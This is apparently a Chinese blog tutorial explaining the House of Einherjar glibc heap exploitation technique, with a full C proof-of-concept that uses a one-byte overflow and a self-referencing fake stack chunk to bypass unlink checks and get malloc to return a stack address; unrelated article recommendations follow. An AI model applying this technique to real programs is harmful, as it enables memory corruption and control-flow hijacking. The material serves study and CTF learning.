House of Einherjar是一种非常经典且巧妙的堆溢出利用技术。只要你理解C语言中的指针并且知道程序是通过malloc分配内存、free释放内存的我们就完全可以把这个漏洞的原理盘清楚。简单来说这个技术的核心思想是利用一个微小的溢出通常只有一个字节欺骗内存管理器glibc让它跨越巨大的内存空间把一个我们伪造的“假内存块”和刚刚释放的真内存块合并在一起。这样我们就能把内存分配到程序的任何地方比如栈上。我们分步骤来拆解这个过程。1. 铺垫内存管理器的“合并”机制当我们在程序中连续分配两个内存块Chunk A 和 Chunk B时它们在内存中是挨着的。为了防止内存碎片化当你调用free(B)释放 Chunk B 时glibc内存管理器会非常聪明地往回看一眼“B 前面的 Chunk A 还在使用中吗如果 A 也被释放了我就把 A 和 B 合并成一个更大的空闲块。”glibc 是怎么知道 A 是否空闲以及 A 在哪里的呢这就依赖于 Chunk B 头部Header的两个关键数据P标志位 (prev_inuse)藏在 Chunk B 大小Size字段的最低位。如果 P1说明前面的 A 正在使用如果 P0说明前面的 A 已经空闲可以合并。prev_size记录前一个 Chunk 的大小。如果 glibc 决定要合并前面的块它就会用Chunk B 的地址 - prev_size从而准确找到 Chunk A 的开头位置。2. 破局点只要溢出一个字节 (Off-by-One)House of Einherjar 的威力在于它不需要你有多大的溢出能力只要能溢出一个字节通常是一个\x00空字节就足够了。假设我们正在向 Chunk A 写入数据由于程序有一个小 Bug我们多写了一个\x00字节。这个微小的溢出恰好覆盖到了紧挨着它的 Chunk B 的 Header。这一滴墨水引发了致命的连锁反应它覆盖了 Chunk B 的Size字段的最末尾一个字节把 P标志位 从 1 变成了 0。Chunk A 的数据部分其实是可以覆盖到 Chunk B 的prev_size字段的这是 glibc 为了节省内存设计的机制。此时在 glibc 的眼里世界变了它误以为 Chunk B 前面的某块内存是空闲的3. 瞒天过海伪造假区块 (Fake Chunk)既然 glibc 认为前面有空闲块那我们要做的就是给它“指一条明路”。我们在程序里找一个我们想写入数据的地方比如栈上或者 BSS 段在这个目标位置我们手工构造一个“假内存块” (Fake Chunk)。接着我们在 Chunk A 里做手脚修改 Chunk B 的prev_size我们把prev_size的值设置成Chunk B 所在的地址与我们伪造的 Fake Chunk 所在的地址之间的距离差值。4. 见证奇迹触发合并万事俱备现在我们在程序中触发free(B)。看看这个时候 glibc 会怎么做检查 Chunk B 的 P标志位。发现 P0被我们的溢出字节清零了。glibc 心想“前面的块是空闲的我要合并它”glibc 去找前面那个块的地址计算Chunk B 的地址 - prev_size。因为我们把prev_size设置成了那个巨大的距离计算结果精准地指向了我们在栈上伪造的 Fake Chunkglibc 完全没有怀疑它调用了一个叫unlink的操作把栈上的 Fake Chunk 和堆上的 Chunk B 强行跨界合并在了一起变成了一个超级大的空闲块。5. 摘取果实任意地址写入合并完成后这个包含了目标地址的“超级大内存块”就被放回了空闲池中。这时候我们只要再调用一次malloc申请一个合适大小的内存glibc 就会把刚才合并的那个内存块分配给我们。结果就是这次分配返回的指针指向了栈或者目标区域接下来无论我们往这个指针里写什么都等同于直接修改了栈上的关键数据比如覆盖函数的返回地址从而控制程序的执行流也就是我们常说的 Get Shell。简单总结它的流程踩点在目标位置如栈伪造一个 Fake Chunk。布局申请 Chunk A 和 Chunk B。篡改利用 Chunk A 的一字节溢出漏洞把 Chunk B 的 P标志位清零并把 B 的prev_size改成 B 到 Fake Chunk 的距离。引爆释放 Chunk B触发跨界合并。收割再次分配内存直接控制目标地址。安全防御的补充说明现代的 glibc 加入了unlink安全检查比如检查假块的fd和bk指针是否合法也就是p-fd-bk p和p-bk-fd p。因此在第一步伪造 Fake Chunk 时我们通常需要先泄漏一个地址把 Fake Chunk 的前后指针都指向自己或者指向一个已知可控的内存才能骗过这个安全检查。例子为了把这个精妙的过程具象化我们用一段 C 语言代码来模拟整个 House of Einherjar 的利用过程。在现代的 glibc 内存管理器中unlink宏有一个非常著名的安全检查被称为“双向链表完整性检查”// glibc 源码中的 unlink 检查 if (FD-bk ! P || BK-fd ! P) malloc_printerr (corrupted double-linked list);翻译过来就是“你的下一个块的 prev 指针和你的上一个块的 next 指针必须都指向你。”如果我们在栈上随便伪造一个假块Fake Chunk它的fd和bk指针如果是乱填的程序在触发合并时就会直接崩溃报错。最巧妙、最简单的绕过方法是让 Fake Chunk 的fd和bk指针都指向 Fake Chunk 自己。下面是完整的利用代码示例与拆解#include stdio.h #include stdlib.h #include stdint.h #include string.h int main() { // 【1. 布局】申请 Chunk A 和 Chunk B // A 申请 0x38 字节实际分配 0x40 字节 (其中最后 8 字节是被 B 复用的 prev_size) uint8_t *a malloc(0x38); // B 申请 0xf8 字节实际分配 0x100 字节 uint8_t *b malloc(0xf8); // 【2. 踩点】在栈上伪造 Fake Chunk uint64_t fake_chunk[10]; uint64_t fake_chunk_addr (uint64_t)fake_chunk; fake_chunk[0] 0; // prev_size (合并时用不到填0) fake_chunk[1] 0x60; // size (大小只要合理即可) // 核心绕过让 fd 和 bk 都指向自己 // 这样 FD-bk 就是自己-bk还是自己BK-fd 也是自己。完美绕过安全检查 fake_chunk[2] fake_chunk_addr; // fd fake_chunk[3] fake_chunk_addr; // bk // 【3. 计算偏移】计算 Chunk B 到 Fake Chunk 的距离 // chunk header 在用户指针前 0x10 字节处 uint64_t b_header_addr (uint64_t)b - 0x10; uint64_t offset b_header_addr - fake_chunk_addr; // 【4. 篡改】利用 Chunk A 的溢出漏洞 uint64_t *a_qword (uint64_t *)a; // 写入 Chunk B 的 prev_size利用了 A 数据的最后 8 字节 a_qword[6] offset; // 致命的 Off-by-One 单字节溢出 // A 的用户数据界限是 0x38往 a[0x38] 写一个字节 // 恰好覆盖了 Chunk B 的 size 字段的最低位把 P 标志位prev_inuse清零 // 比如把原本的 size 0x101 变成了 0x100 a[0x38] \x00; // 【5. 引爆】触发合并 // glibc 释放 B 时发现 P 标志位为 0以为前面的块空闲了。 // 它通过 b_header_addr - offset精准找到了栈上的 fake_chunk // 接着对 fake_chunk 执行 unlink因为 fd 和 bk 的巧妙设置成功通过检查。 free(b); // 【6. 收割】控制目标地址 // 此时栈上的 fake_chunk 已经被 glibc 吞进了 unsorted bin 空闲链表中。 // 我们再次申请内存glibc 就会把栈的地址分配给我们 uint8_t *target malloc(0x150); // 劫持成功我们现在可以直接往栈上写数据了比如覆盖函数的返回地址 strcpy((char *)target, You have successfully hijacked the stack!); printf(%s\n, target); return 0; }核心原理解读在这段代码中最魔幻的化学反应发生在第 4 步和第 5 步prev_size复用机制在 ptmalloc 中如果一个 Chunk 处于使用状态它的prev_size字段占 8 字节是无效的glibc 为了省内存会把这 8 个字节借给前一个 Chunk也就是 Chunk A当用户数据用。这就是为什么往a_qword[6]写入offset实际上就修改了 B 的prev_size。**fd 自己,bk 自己**当 glibc 对栈上的fake_chunk执行unlink摘除操作时它会取出FD fake_chunk-fd和BK fake_chunk-bk此时FD和BK都是fake_chunk的地址。当 glibc 检查FD-bk P时实际上就是在检查fake_chunk-bk fake_chunk这个等式永远成立。同理BK-fd也会通过检查。这个技术在早期的 CTF 比赛和真实漏洞利用中极其常见它将堆内存和栈或 BSS 段彻底打通完成了从“堆溢出”到“任意地址写”的质变。
企业数字化 ERP 产品动态
相关推荐
协同过滤算法驱动的美食推荐微信小程序全栈开发实践 做美食推荐小程序这个项目,起因倒是很简单:想给自己和身边几个朋友做一个能“越用越懂我”的找饭工具。市面上能看评分、看距离的App不少,但真正能根据你过去点过什么、喜欢什么口味来给出个性化推荐的,体验做得好的其实不多。于是… · 2026/9/26 8:06:42
WorkBuddy:从AI助手到Agent操作系统的工程化落地实践 1. 从"对话框"到"工作台":WorkBuddy到底在解决什么第一次接触WorkBuddy的人,十有八九会把它当成又一个套壳的AI对话工具。毕竟市面上叫"XX助手"的产品太多了,打开就是输入框,问一句答一句ÿ… · 2026/9/26 8:06:42
RBTO-PMA-SORA拓扑优化:可靠度约束下的轻量化设计指南 简介:RBTO-PMA-SORA 是一套基于可靠性的拓扑优化(RBTO)实现包,将性能指标法(PMA)与序列优化和可靠性评估(SORA)相结合,面向从事结构优化的工程师与研究者,用于… · 2026/9/26 8:46:07
Windows C盘清理指南:识别三类空间吞噬者与安全清理方法 1. 为什么C盘总在“红”?这不是系统在闹脾气,而是你每天都在给它塞满“数字垃圾袋” C盘满了怎么清理、c盘红了怎么清理c盘空间、清理c盘空间、c盘磁盘分析工具——这些热搜词背后,是千万Windows用户面对红色警告条时的真实焦虑。我干这行十多… · 2026/9/26 8:46:07
昇腾Atlas 300V 24G推理加速卡部署YOLO目标检测实践指南 1. 这块卡到底什么来头 先直接回答那个被问了很多次的问题:Atlas 300V 24G是不是运算加速卡?是,而且是一块典型的AI推理加速卡。 我最初接触这块卡的时候也犯过嘀咕,因为市面上叫"加速卡"的东西太多了,有图… · 2026/9/26 8:46:07
基于Neo4j的水浒人物关系问答系统实战 简介:这份资源围绕《水浒传》人物关系展开,基于Neo4j图数据库构建可视化与问答系统,面向计算机相关专业学生及企业员工,可用于课程设计、大作业、毕设或初期项目立项演示,也适合作为图数据库与知识图谱方向的实战练习素… · 2026/9/26 8:46:01
让成长档案更有温度:智慧学工系统背后的数据治理与画像设计 校园里的档案室,几十个铁皮柜子,按学号排得整整齐齐。每本档案里塞着什么?入学登记表、成绩单、奖惩记录,没了。这就是过去十年学生成长档案的真实状态——数据躺在那里,却讲不出一段完整的故事。我一直觉得这事挺讽刺… · 2026/9/26 8:46:01
达梦数据库适配BenchmarkSQL:TPC-C压测与tpmC性能验证指南 简介:一份面向达梦数据库标准性能评测的BenchmarkSQL 5.0工具包,适合数据库管理员、性能测试人员及架构师在数据库选型、容量规划与压测对比时使用。压缩包共94个文件、大小仅3.77MB,内含19个class类文件、12个SQL场景脚本、11个Java源文件、… · 2026/9/26 8:46:01
数据库课后习题答案别硬背:当测试用例集刷,效率翻倍 简介:万常选版《数据库原理与设计》课后习题答案资源,覆盖第2至6章及第9章,适合正在学习关系模型、数据库建模、关系数据理论与模式求精的本科生、自学者作为复习与自测材料。压缩包共7个文件,含3个doc参考答案、2个sql示例脚本、… · 2026/9/26 0:00:21
OpenClaw 替代品?Hermes Agent 踩坑实录:macOS 飞书接入 TaoToken 配置 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/26 0:00:40
向下兼容与向上兼容:接口设计中的兼容性策略与工程实践 一次版本升级事故,是很多团队绕不过去的坎。线上环境里,服务端明明已经上线了新版接口,老的移动端还在照着旧文档传参数。请求一到网关,校验直接拒绝,用户操作失败,客服群炸了锅,开发群里开始互… · 2026/9/26 0:00:46